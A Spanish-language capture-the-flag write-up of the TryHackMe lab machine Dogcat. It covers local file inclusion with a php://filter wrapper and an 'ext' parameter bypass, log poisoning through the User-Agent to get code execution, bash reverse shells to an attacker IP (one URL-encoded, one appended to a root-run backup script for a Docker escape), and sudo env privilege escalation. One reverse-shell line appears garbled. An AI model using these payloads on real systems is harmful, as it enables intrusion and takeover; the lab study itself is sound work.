Post

Dogcat - TryHackMe

Write up en español para Dogcat - TryHackMe

Dogcat - TryHackMe

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sV -Pn -T4 -O 10.10.54.149
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 16:16 CEST
Nmap scan report for 10.10.54.149
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Portal web

alt text

Al dar click en dog o cat nos muestra una imagen en consecuencia.

En el parámetro php que indica dog/cat tenemos un potencial path traversal.

alt text

El problema es que parece estar añadiendo la terminación .php al final del parámetro por lo que no encuentra el archivo y por eso tenemos error.

Aprovechando que podemos pasar argumentos antes del parámetro podemos intentar exfiltrar datos a través de un wrapper PHP.

alt text

Aunque el concepto es correcto y debería mostrar el contenido del index.php codificado en base64 indica que no encuentra el archivo. Bien, el problema es dado por como PHP trata de introducir la extensión .php al final del parámetro.

¿Qué es &ext= y por qué hace que funcione?

Ese &ext= no forma parte del wrapper,es un “bypass” para el parseo del parámetro view en la aplicación.

  • En la app PHP, probablemente hay algo como esto:
1
include($_GET['view'] . '.php');
  • Si pasas:
1
?view=php://filter/read=convert.base64-encode/resource=etc/passwd

PHP lo intentará incluir como:

1
include("php://filter/read=convert.base64-encode/resource=etc/passwd.php");

Ese .php final rompe el wrapper porque no puedes añadir .php a un stream de filtro como php://filter.

Entonces al añadir &ext=, el código está haciendo algo como esto:

1
include($_GET['view'] . $_GET['ext']);

Y puedes entonces controlar qué extensión se le pone (o incluso ninguna). Así:

1
?view=php://filter/read=convert.base64-encode/resource=/var/www/html/index&ext=

→ Esto se concatena como:

1
include("php://filter/read=convert.base64-encode/resource=/var/www/html/index");

Y eso ya es válido, porque no rompe el esquema del wrapper.

alt text

Este archivo no muestra datos demasiado útiles solo que no parece haber usuarios interesantes en el sistema.

alt text

Nota: Parece que el wrapper no es necesario ya que el único problema era la extensión que añadía al final del parámetro por lo que no es necesario codificar en base64.

alt text

Lo importante aquí es que podemos visualizar logs del sistema, lo que hace a la máquina susceptible de un log poisoning.

Para aprovechar esto vamos a inyectar codigo PHP en el user agent de una de nuestras peticiones para crear un parámetro nuevo en el index que nos permita ejecutar código.

alt text

Ahora al volver a ejecutar la petición para extraer el contenido de los logs vemos que nos da un error de que no puede ejecutar el comando en blanco, esto es buena señal.

alt text

Si le pasamos el parámetro cmd por url.

alt text

Tenemos RCE.

Reverse shell

1
bash -c 'bash -i >& /dev/tcp/10.23.66.202/4444 0>&1'

Lo codificamos en URL.

1
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.23.66.202%2F4444%200%3E%261%27

alt text

alt text

Como la máquina no tiene python para estabilizar un poco la shell ejecutamos:

1
2
script /dev/null -c bash
export TERM=xterm

alt text

Escalado de privilegios

Si recordamos en el sistema no hay usuarios creados.

alt text

Por lo que vamos directamente a intentar escalar privilegios a root.

Por suerte podemos ejecutar sudo -

1
2
3
4
5
6
7
8
www-data@c29ed5a125d4:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on c29ed5a125d4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on c29ed5a125d4:
    (root) NOPASSWD: /usr/bin/env

env es una utilidad estándar en Unix que:

  • Ejecuta un programa en un entorno modificado.

  • Se suele usar para lanzar scripts con el intérprete correcto.

alt text

En este caso pues la escalada es bastante sencilla ya que podemos ejecutar el comando env con el parámetro bash y obtener un shell. Consultamos GTOBins

1
sudo /usr/bin/env /bin/bash

alt text

Las tres primeras flags las tenemos aquí.

alt text

La última flag es algo “compleja”.

Si nos fijamos (además de que lo dice en el reto) el id del host donde somos root es un string id similar a los que genera Docker. Por lo que estamos en un entorno de Docker.

Para escapar podemos navegar a /opt/backups.

alt text

Encontramos un script que hace un backup completo del contenedor por lo que debe estar siendo ejecutado por el usuario root del host viendo la ruta en la que se encuentra este.

1
2
 echo "bash -i >& /dev/tcp/10.23.66.202/9999 0>&1" >> backup.sh
" > backup.sh >& /dev/tcp/10.23.66.202/9999 0>&1"

alt text

alt text

This post is licensed under CC BY 4.0 by the author.